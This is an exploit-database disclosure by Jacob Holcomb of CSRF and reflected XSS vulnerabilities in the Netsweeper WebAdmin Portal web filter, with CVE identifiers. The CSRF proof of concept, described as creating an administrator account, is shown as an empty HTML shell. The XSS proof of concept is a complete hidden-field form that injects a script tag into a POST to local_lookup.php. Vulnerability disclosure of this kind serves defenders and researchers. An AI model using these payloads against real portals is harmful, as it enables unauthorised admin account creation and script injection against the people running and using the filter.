Netsweeper WebAdmin Portal Multiple Vulnerabilities

EKU-ID: 2436	CVE: 2012-2447	OSVDB-ID:
Author: Jacob Holcomb	Published: 2012-07-11	Verified:
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# Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and "The later"
# Date: Discovered and reported CSRF and XSS reported 4/2012 and "The later" reported 7/2012
# Author: Jacob Holcomb/Gimppy042
# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)
# CVE :  CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and CVE-2012-3859 for the "The later"

 *NOTE:
# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.
 

CSRF Exploitation: 
In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

<head>
<title>CSRF Create Admin - Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>
</head>

<body>

</body>

XSS Exploitation:

The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.

<head>
<title>Post XSS(Reflective) Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>
</head>

<body>

<form name="pwnd" action="http:// server.domain_name
/webadmin/tools/local_lookup.php?action=lookup" method="post">
<input type="hidden" name="user" value="pwnd" />
<input type="hidden" name="group" value="><script>alert('XSS')</script>" />
<input type="hidden" name="policy" value="pwnd" />
<input type="hidden" name="url" value="pwnd" />

</body>

"The later" Exploitation:

Coming soon... : )